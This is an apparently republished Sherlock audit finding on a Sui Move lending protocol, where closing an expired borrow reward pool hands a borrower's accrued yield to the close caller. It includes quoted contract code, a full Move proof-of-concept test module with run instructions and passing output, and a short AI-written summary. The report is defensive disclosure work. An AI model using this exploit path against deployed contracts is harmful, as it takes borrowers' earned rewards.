Expired reward pool close can refund economically accrued borrower yield before lazy reward materialization
An expired borrow reward pool could be closed and refunded to the close caller even though an already-active borrower had economically accrued rewards through the global share accounting, because the borrower's per-pool tracker was only created lazily on claim. The borrower then permanently lost that yield, which the normal claim path would have paid out.
0x37 Follow with 0xDyDx, 0xastronatey and 13 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2026-03-current-finance-judging/issues/154
Found by
0x37, 0xDyDx, 0xastronatey, 6PottedL, Brene, Diavolo, Edoscoba, I1iveF0rTh1Sh1t, Polaris_2, Tigerfrake, ZeroTrust, Ziusz, edantes, legat, y4y, yaractf
Summary
This issue is caused by a non-obvious flaw in the intended lifecycle for closing an expired borrow reward pool.
A borrower can already be actively participating in borrow liquidity mining before a new reward pool is created. The protocol tracks that participation through the global share total. However, the borrower-specific tracker for the newly added pool is created lazily, only when that borrower interacts again or claims.
That becomes dangerous because the expired pool close path does not refresh the pool before refunding the remaining reward balance. Instead, it only checks whether the number of materialized obligation reward managers is zero. As a result, an already active borrower can economically accrue rewards during the campaign while still having no materialized tracker for that pool.
If the expired pool is closed before that borrower claims, the close succeeds and refunds balance that the normal claim path proves was already economically attributable to the borrower. In the normal path, that same value would have been claimable by the borrower.
There is no protocol rule requiring already active borrowers to claim before an expired pool is closed. The bug is that the close path interprets “not yet materialized” as if it meant “not economically owed,” even though the normal claim path proves the opposite.
Severity: High
Impact
The impact is a direct and permanent loss of user yield.
This is not a design complaint and it does not rely on malicious privileged behavior. The issue is that the intended close flow for an expired reward pool can unknowingly refund value that is already economically owed to an active borrower.
The proof of concept demonstrates the following:
- borrower A opens a borrow position before the reward pool exists
- a borrow reward pool is created for that asset
- in the control path, after expiry, borrower A claims more than 10 USDC
- if borrower A claims first, a later pool close returns zero
- in the exploit path, if the expired pool is closed first, the close caller receives the same value that borrower A would have received
- after that close, borrower A can no longer realize the reward
So the refunded value is not campaign dust and it is not an optional administrative remainder. It is the borrower’s accrued yield.
The practical consequence is simple: the normal expired-pool close flow can transfer economically accrued borrower yield away from the borrower and to the close caller.
Why the reward is already economically owed before claim
The key point is that claim is only the realization step, not the moment when the reward first comes into existence.
The protocol already accrues rewards globally through total_shares and cumulative_rewards_per_share. That means an active borrower can economically earn reward during the campaign even if the borrower-specific tracker for that pool has not yet been materialized.
Lazy materialization is only an implementation detail. It should not decide whether value is economically owed.
That is exactly why this issue is serious. The close path does not distinguish between “not yet materialized” and “not yet earned.” It refunds the pool as if no borrower reward existed, even though the normal claim path proves that the value was already there for the active borrower.
Why this is not just an admin ordering issue
This finding is not based on malicious privileged behavior and it is not based on an unusual sequence of calls.
The close function is the documented public close path for an expired reward pool. The bug is that this normal close flow is unsafe because it can refund economically accrued borrower yield before lazy tracker materialization occurs.
This distinction matters. A simple call ordering issue would require the close caller to use an obviously wrong sequence or to violate an explicit operational assumption. That is not what happens here.
The close function itself encodes the protocol's own safety condition for refund. A caller is entitled to rely on that condition. The bug is that the protocol uses lazy materialization as a proxy for whether rewards are economically owed, and that proxy is false for already active borrowers.
There is no rule in the contract that active borrowers must claim before the pool can be closed. The close path itself treats num_obligation_reward_managers == 0 as sufficient to refund the pool, even though economically accrued rewards may already exist through the global share accounting.
So the loss is not caused by a surprising or abusive admin action. The loss is caused by a non-obvious bug in the intended close flow for an expired reward pool.
Vulnerability details
1. Borrowers already contribute to global borrow reward shares before a pool exists
The borrow path updates the obligation reward manager and share total as soon as a user borrows. This happens before any later campaign is added for that reward type.
From borrow.move:
let (borrowed_balance, borrow_index, total_borrow) = market.handle_borrow(
obligation_owner_cap.id(),
borrow_amount,
&app.borrow_fee_config,
coin_type_name,
oracle,
now,
ctx
);
let miner = market.borrow_liquidity_mining_mut<MarketType>();
miner.update_obligation_reward_manager<MarketType, CoinType>(
get_borrow_reward_type(),
obligation_owner_cap.id(),
total_borrow.floor(),
clock
);
So an existing borrower can already have active borrow share before a new reward campaign is created.
2. A newly added pool starts with zero materialized users
When a new reward pool is created, it is initialized with no allocated rewards, no cumulative reward per share, and zero materialized obligation reward managers.
From reward_manager.move:
let pool_reward = PoolReward {
id,
reward_type: object::id::<TypeName>(&RewardType<CoinType> {}),
start_time_ms,
end_time_ms,
total_rewards: rewards.value(),
allocated_rewards: float::from(0),
cumulative_rewards_per_share: float::from(0),
num_obligation_reward_managers: 0,
additional_fields
};
This is the first half of the bug. Existing borrowers may already have active share, but the new pool still starts with zero user trackers.
3. Global reward accrual is tied to total shares
The pool accrues rewards against total_shares. That means the system already has a global notion of economically earned rewards even before any specific user tracker is materialized.
From reward_manager.move:
if (pool_reward_manager.total_shares == 0){
pool_reward_manager.last_update_time_ms = cur_time_ms;
return
};
...
let unlocked_rewards =
float::from(pool_reward.total_rewards).mul(
float::from(time_passed_ms)
).div(
float::from(pool_reward.end_time_ms - pool_reward.start_time_ms)
);
pool_reward.allocated_rewards = pool_reward.allocated_rewards.add(unlocked_rewards);
pool_reward.cumulative_rewards_per_share =
pool_reward.cumulative_rewards_per_share.add(
unlocked_rewards.div(
float::from(pool_reward_manager.total_shares)
)
);
So if borrower A was already active before the campaign was added, A’s share participates in the global accrual math.
4. User trackers are created lazily and the close gate depends on that lazy counter
The user-specific tracker is only created inside update_obligation_reward_manager. That same path is also the only place where num_obligation_reward_managers is incremented.
From reward_manager.move:
let optional_reward = obligation_reward_manager.rewards.borrow_mut(i);
if (optional_reward.is_none()){
if (obligation_reward_manager.last_update_time_ms <= pool_reward.end_time_ms){
optional_reward.fill(ObligationReward{
pool_reward_id: object::id(pool_reward),
earned_rewards: {
if (obligation_reward_manager.last_update_time_ms <= pool_reward.start_time_ms){
pool_reward.cumulative_rewards_per_share.mul(float::from(obligation_reward_manager.share))
}else{
float::from(0)
}
},
cumulative_rewards_per_share: pool_reward.cumulative_rewards_per_share
});
pool_reward.num_obligation_reward_managers = pool_reward.num_obligation_reward_managers + 1;
};
}
This means an active user may economically accrue rewards for a whole campaign while still not contributing to the counter that the close logic checks.
5. The close path refunds without refreshing the pool first
This is the second half of the bug.
The close logic does not call the global pool update function before closing. It only checks that the period is over and that num_obligation_reward_managers is zero.
This is what makes the bug economically dangerous. The close path is allowed to refund the pool balance while the system still has active shares that would produce a non-zero borrower claim in the normal path.
From reward_manager.move:
public(package) fun close_pool_reward<CoinType>(
pool_reward_manager: &mut PoolRewardManager,
index: u64,
clock: &Clock
): Balance<CoinType>{
let optional_pool_reward = pool_reward_manager.pool_rewards.borrow_mut(index);
let PoolReward{
id,
reward_type: _,
start_time_ms: _,
end_time_ms,
total_rewards: _,
allocated_rewards: _,
cumulative_rewards_per_share: _,
num_obligation_reward_managers,
mut additional_fields,
} = optional_pool_reward.extract();
object::delete(id);
let cur_time_ms = clock.timestamp_ms();
assert!(cur_time_ms >= end_time_ms, error::liquidity_mining_pool_reward_period_not_over());
assert!(num_obligation_reward_managers == 0, error::liquidity_mining_not_all_rewards_claimed());
let reward_balance = additional_fields.remove<RewardBalance<CoinType>, Balance<CoinType>>(RewardBalance<CoinType>{});
Because it never refreshes the pool first, an expired pool can be closed while the system still has active economic accrual but zero materialized user trackers.
6. In the normal claim path, the user gets the reward instead
The claim path updates the obligation reward manager first, which triggers the lazy materialization and global accrual update.
From reward_manager.move:
public(package) fun claim_rewards<CoinType>(
pool_reward_manager: &mut PoolRewardManager,
obligation_id: ID,
clock: &Clock,
reward_index: u64,
): Balance<CoinType>{
update_obligation_reward_manager(pool_reward_manager, obligation_id, clock, false);
let obligation_reward_manager = pool_reward_manager.obligation_reward_managers.borrow_mut(obligation_id);
let reward_tracker = obligation_reward_manager.rewards.borrow_mut(reward_index);
assert!(reward_tracker.is_some(), error::liquidity_mining_no_reward_to_claim());
And the public entry point simply forwards that claim into a coin:
From lending liquidity_mining.move:
let claimed_reward = miner.claim_rewards<MarketType, CoinType, RewardCoinType>(
reward_type,
obligation_owner_cap.id(),
clock,
reward_index
);
...
claimed_reward.into_coin(ctx)
So the code itself gives two mutually exclusive outcomes:
- if the user claims first, the user receives the reward
- if the pool is closed first, the close recipient receives that same balance instead
That is exactly why this is a direct yield loss bug. The protocol sends the same economically accrued value to different recipients depending only on whether claim or close happens first.
Attack scenario
A realistic scenario is straightforward:
- Borrower A opens an obligation and borrows the rewardable asset before the reward campaign exists.
- A borrow reward campaign is later created for that asset.
- Borrower A remains inactive during the campaign.
- The campaign expires.
- If borrower A claims first, borrower A receives the reward and nothing meaningful remains in the pool afterward.
- If the pool is closed first, the close recipient receives that same reward balance instead.
- After that close, borrower A can no longer realize the same reward.
This is not a strange sequence and it does not require malicious behavior. It is the intended close flow for an expired reward pool, and that is exactly why the bug is dangerous.
Proof of Concept
The Move proof of concept demonstrates the issue through four complementary checks.
What the proof of concept proves
-
ctlproves the normal user path.
Borrower A is already active before the reward pool exists. After the campaign expires, borrower A claims a reward greater than 10 USDC. -
tailproves there is no meaningful residual balance after a normal claim.
Borrower A claims first, the pool is closed afterward, and the close refund is exactly zero. This shows the later exploit refund is not campaign dust. -
expproves the exploit path.
The pool is closed first after expiry and the close caller receives a refund greater than 10 USDC. -
cmpproves economic equivalence between the two paths.
The control-path borrower claim is exactly equal to the exploit-path close refund. It also proves that the full reward amount is accounted for by the control claim plus the post-claim tail amount. -
deadproves irrecoverability.
After the expired pool is closed first, borrower A attempts to claim and the transaction fails.
This is what makes the issue economically dangerous. The close path is allowed to refund the pool balance while the system still has active shares that would produce a non-zero borrower claim in the normal path.
What this means
Taken together, these tests prove the strongest economic version of the bug:
- the user would have received the reward in the normal path
- nothing meaningful remains after that normal claim
- the close recipient receives that same value if closing happens first
- the user cannot recover it afterward
So the close flow is not merely delaying user rewards. It is refunding economically accrued borrower yield away from the borrower.
Copy the Move proof of concept here:
#[test_only]
module protocol::poc_close {
use sui::clock::{Self, Clock};
use sui::coin::{Self, Coin};
use sui::test_scenario::{Self, Scenario};
use protocol::app::{AdminCap, ProtocolApp};
use protocol::coin_decimals_registry::CoinDecimalsRegistry;
use protocol::liquidity_miner;
use protocol::market::Market;
use protocol::market_t::{Self, MainMarket};
use protocol::obligation::ObligationOwnerCap;
use protocol::open_obligation_t;
use protocol::oracle_t;
use test_coin::eth::ETH;
use test_coin::usdc::USDC;
use x_oracle::x_oracle::XOracle;
const ADMIN: address = @0xAD;
const A: address = @0xA;
const USDC_DEC: u64 = 1_000_000;
const TEN: u64 = 10 * USDC_DEC;
const BORROW: u64 = 200 * USDC_DEC;
const REWARD: u64 = 1_000 * USDC_DEC;
const DUR: u64 = 3_600_000;
fun typ(): u8 {
liquidity_miner::get_borrow_reward_type()
}
fun seed(
scenario: &mut Scenario,
clock: &mut Clock,
): (AdminCap, ProtocolApp, Market<MainMarket>, CoinDecimalsRegistry, XOracle, ObligationOwnerCap) {
let (admin_cap, app, mut market, coin_registry) = protocol::app_t::default_app_init<MainMarket>(
scenario,
clock,
ADMIN,
);
let mut x_oracle = oracle_t::init_t(scenario);
clock.set_for_testing(100 * 1000);
x_oracle.update_price<USDC>(clock, oracle_t::calc_scaled_price(1, 0));
x_oracle.update_price<ETH>(clock, oracle_t::calc_scaled_price(2_000, 0));
scenario.next_tx(A);
let cap = open_obligation_t::open_obligation_t<MainMarket>(scenario, &app, &mut market);
let eth_coin = coin::mint_for_testing<ETH>(1 * 10u64.pow(market_t::default_eth_decimal_places()), scenario.ctx());
protocol::deposit::deposit<MainMarket, ETH>(&app, &mut market, &cap, eth_coin, clock, scenario.ctx());
let borrowed = protocol::borrow::borrow<MainMarket, USDC>(
&app,
&cap,
&mut market,
&coin_registry,
BORROW,
&x_oracle,
clock,
scenario.ctx(),
);
assert!(borrowed.value() == BORROW, 0);
std::unit_test::destroy(borrowed);
(admin_cap, app, market, coin_registry, x_oracle, cap)
}
fun camp(
scenario: &mut Scenario,
clock: &Clock,
admin_cap: &AdminCap,
app: &ProtocolApp,
market: &mut Market<MainMarket>,
): u64 {
let st = clock.timestamp_ms() + 1;
let en = st + DUR;
scenario.next_tx(ADMIN);
let rew = coin::mint_for_testing<USDC>(REWARD, scenario.ctx());
protocol::liquidity_mining_admin::add_liquidity_mining_rewards<MainMarket, USDC, USDC>(
admin_cap,
app,
market,
typ(),
rew,
st,
en,
clock,
scenario.ctx(),
);
en
}
fun done(
scenario_value: Scenario,
clock: Clock,
x_oracle: XOracle,
market: Market<MainMarket>,
admin_cap: AdminCap,
cap: ObligationOwnerCap,
app: ProtocolApp,
coin_registry: CoinDecimalsRegistry,
) {
clock::destroy_for_testing(clock);
test_scenario::return_shared(x_oracle);
test_scenario::return_shared(market);
std::unit_test::destroy(admin_cap);
std::unit_test::destroy(cap);
std::unit_test::destroy(app);
std::unit_test::destroy(coin_registry);
test_scenario::end(scenario_value);
}
fun cl(): u64 {
let mut scenario_value = test_scenario::begin(ADMIN);
let scenario = &mut scenario_value;
let mut clock = clock::create_for_testing(scenario.ctx());
let (admin_cap, app, mut market, coin_registry, x_oracle, cap) = seed(scenario, &mut clock);
let en = camp(scenario, &clock, &admin_cap, &app, &mut market);
clock.set_for_testing(en + 1);
scenario.next_tx(A);
let claimed = protocol::liquidity_mining::claim_reward_as_coin<MainMarket, USDC, USDC>(
&app,
&mut market,
&cap,
typ(),
0,
&clock,
scenario.ctx(),
);
let v = claimed.value();
std::unit_test::destroy(claimed);
done(scenario_value, clock, x_oracle, market, admin_cap, cap, app, coin_registry);
v
}
fun tailv(): (u64, u64) {
let mut scenario_value = test_scenario::begin(ADMIN);
let scenario = &mut scenario_value;
let mut clock = clock::create_for_testing(scenario.ctx());
let (admin_cap, app, mut market, coin_registry, x_oracle, cap) = seed(scenario, &mut clock);
let en = camp(scenario, &clock, &admin_cap, &app, &mut market);
clock.set_for_testing(en + 1);
scenario.next_tx(A);
let claimed = protocol::liquidity_mining::claim_reward_as_coin<MainMarket, USDC, USDC>(
&app,
&mut market,
&cap,
typ(),
0,
&clock,
scenario.ctx(),
);
let claim_v = claimed.value();
std::unit_test::destroy(claimed);
scenario.next_tx(ADMIN);
protocol::liquidity_mining_admin::close_liquidity_mining_rewards<MainMarket, USDC, USDC>(
&admin_cap,
&app,
&mut market,
typ(),
0,
&clock,
scenario.ctx(),
);
test_scenario::next_tx(scenario, ADMIN);
let refunded = scenario.take_from_sender<Coin<USDC>>();
let refund_v = refunded.value();
std::unit_test::destroy(refunded);
done(scenario_value, clock, x_oracle, market, admin_cap, cap, app, coin_registry);
(claim_v, refund_v)
}
fun cmpv(): (u64, u64, u64) {
let mut scenario_value = test_scenario::begin(ADMIN);
let scenario = &mut scenario_value;
let mut clock = clock::create_for_testing(scenario.ctx());
let (admin_cap, app, mut market, coin_registry, x_oracle, cap) = seed(scenario, &mut clock);
let en0 = camp(scenario, &clock, &admin_cap, &app, &mut market);
clock.set_for_testing(en0 + 1);
scenario.next_tx(A);
let claimed0 = protocol::liquidity_mining::claim_reward_as_coin<MainMarket, USDC, USDC>(
&app,
&mut market,
&cap,
typ(),
0,
&clock,
scenario.ctx(),
);
let control_claim = claimed0.value();
std::unit_test::destroy(claimed0);
scenario.next_tx(ADMIN);
protocol::liquidity_mining_admin::close_liquidity_mining_rewards<MainMarket, USDC, USDC>(
&admin_cap,
&app,
&mut market,
typ(),
0,
&clock,
scenario.ctx(),
);
test_scenario::next_tx(scenario, ADMIN);
let tail0 = scenario.take_from_sender<Coin<USDC>>();
let control_tail = tail0.value();
std::unit_test::destroy(tail0);
let en1 = camp(scenario, &clock, &admin_cap, &app, &mut market);
clock.set_for_testing(en1 + 1);
scenario.next_tx(ADMIN);
protocol::liquidity_mining_admin::close_liquidity_mining_rewards<MainMarket, USDC, USDC>(
&admin_cap,
&app,
&mut market,
typ(),
0,
&clock,
scenario.ctx(),
);
test_scenario::next_tx(scenario, ADMIN);
let refunded1 = scenario.take_from_sender<Coin<USDC>>();
let exploit_refund = refunded1.value();
std::unit_test::destroy(refunded1);
done(scenario_value, clock, x_oracle, market, admin_cap, cap, app, coin_registry);
(control_claim, control_tail, exploit_refund)
}
fun shut(): u64 {
let mut scenario_value = test_scenario::begin(ADMIN);
let scenario = &mut scenario_value;
let mut clock = clock::create_for_testing(scenario.ctx());
let (admin_cap, app, mut market, coin_registry, x_oracle, cap) = seed(scenario, &mut clock);
let en = camp(scenario, &clock, &admin_cap, &app, &mut market);
clock.set_for_testing(en + 1);
scenario.next_tx(ADMIN);
protocol::liquidity_mining_admin::close_liquidity_mining_rewards<MainMarket, USDC, USDC>(
&admin_cap,
&app,
&mut market,
typ(),
0,
&clock,
scenario.ctx(),
);
test_scenario::next_tx(scenario, ADMIN);
let refunded = scenario.take_from_sender<Coin<USDC>>();
let v = refunded.value();
std::unit_test::destroy(refunded);
done(scenario_value, clock, x_oracle, market, admin_cap, cap, app, coin_registry);
v
}
#[test]
fun ctl() {
let v = cl();
assert!(v > TEN, 1);
}
#[test]
fun tail() {
let (claim_v, refund_v) = tailv();
assert!(claim_v > TEN, 2);
assert!(refund_v == 0, 3);
}
#[test]
fun exp() {
let v = shut();
assert!(v > TEN, 4);
}
#[test]
fun cmp() {
let (a, t, b) = cmpv();
assert!(a > TEN, 5);
assert!(b > TEN, 6);
assert!(t == 0, 7);
assert!(a + t == REWARD, 8);
assert!(a == b, 9);
}
#[test, expected_failure]
fun dead() {
let mut scenario_value = test_scenario::begin(ADMIN);
let scenario = &mut scenario_value;
let mut clock = clock::create_for_testing(scenario.ctx());
let (admin_cap, app, mut market, coin_registry, x_oracle, cap) = seed(scenario, &mut clock);
let en = camp(scenario, &clock, &admin_cap, &app, &mut market);
clock.set_for_testing(en + 1);
scenario.next_tx(ADMIN);
protocol::liquidity_mining_admin::close_liquidity_mining_rewards<MainMarket, USDC, USDC>(
&admin_cap,
&app,
&mut market,
typ(),
0,
&clock,
scenario.ctx(),
);
test_scenario::next_tx(scenario, ADMIN);
let refunded = scenario.take_from_sender<Coin<USDC>>();
assert!(refunded.value() > TEN, 8);
std::unit_test::destroy(refunded);
scenario.next_tx(A);
let claimed = protocol::liquidity_mining::claim_reward_as_coin<MainMarket, USDC, USDC>(
&app,
&mut market,
&cap,
typ(),
0,
&clock,
scenario.ctx(),
);
std::unit_test::destroy(claimed);
done(scenario_value, clock, x_oracle, market, admin_cap, cap, app, coin_registry);
}
}
Create the file poc_close.move in tests/integration/test_cases
Execute the command in sui-move-contract/contracts/protocol:
sui move test protocol::poc_close -i 100000000000
Output
sui move test protocol::poc_close -i 100000000000
[NOTE] Dependencies on Sui, MoveStdlib, Bridge, DeepBook, and SuiSystem are automatically added, but this feature is disabled for your package because you have explicitly included dependencies on Sui. Consider removing these dependencies from `Move.toml`.
INCLUDING DEPENDENCY MoveStdlib
INCLUDING DEPENDENCY Sui
INCLUDING DEPENDENCY TestCoin
INCLUDING DEPENDENCY math
INCLUDING DEPENDENCY x_oracle
INCLUDING DEPENDENCY Wormhole
INCLUDING DEPENDENCY Pyth
BUILDING protocol
Running Move unit tests
[ PASS ] protocol::poc_close::cmp
[ PASS ] protocol::poc_close::ctl
[ PASS ] protocol::poc_close::dead
[ PASS ] protocol::poc_close::exp
[ PASS ] protocol::poc_close::tail
Test result: OK. Total tests: 5; passed: 5; failed: 0
Total number of linter warnings suppressed: 13 (unique lints: 1)
Recommendation
The fix should ensure that an expired pool cannot be refunded while there is still economically accrued user reward tied to active shares.
A robust fix can follow one of these directions:
-
Call the global pool update routine inside the close flow before any refund logic is executed.
-
Materialize user reward trackers for already active obligations when a new pool is created.
-
Redesign pool closure so that closing only stops further accrual, while already accrued rewards remain claimable by eligible users.
The third option is the safest long-term design because it cleanly separates campaign finalization from user reward ownership.
Why this is High under Sherlock criteria
Sherlock classifies direct user yield loss above 1 percent and above 10 dollars as High severity.
The proof of concept shows that borrower A loses the full reward that would otherwise have been received in the normal path, and that value is greater than 10 USDC.
The control path proves that the borrower can realize the reward. The tail path proves that nothing meaningful remains after a normal claim. The exploit path proves that the same value is returned by the close flow to the close caller if pool closure happens before claim. The post-close path proves that the borrower cannot recover it afterward.
That makes this a direct user yield loss finding, not a mere accounting discrepancy or an operational inconvenience.
Why this issue is in scope
This finding relies only on contracts explicitly listed in scope in the README, especially:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the close path treats the count of lazily materialised per-borrower reward trackers as proof that no rewards are owed, without first refreshing the pool's global accrual.
Impact
An active borrower's accrued yield could be permanently lost and paid to the close caller instead, with no way to recover it afterwards.
What the attacker needed
Borrower active before campaign; campaign expires; close happens before claim
The fix
The close path should refresh the pool's global accrual and refuse to refund while active shares would still produce a non-zero borrower claim, rather than relying on the lazy tracker count.
How it was found
- A borrower opens an obligation and borrows the rewardable asset before the reward campaign exists.
- A borrow reward campaign is later created for that asset.
- The borrower stays inactive for the whole campaign.
- The campaign expires.
- If the borrower claims first, they receive the reward and the later close refunds nothing.
- If the pool is closed first, the close caller receives that same reward balance and the borrower can no longer claim it.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A lending app pays extra rewards to people who borrow. It tracks each person's share in a running total, but only writes a personal record for a given reward campaign when that person next claims. Closing an expired campaign only checked that no personal records existed, so it could hand the leftover money back to whoever closed it, even though a borrower had already earned part of it. That borrower could no longer claim anything afterwards.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.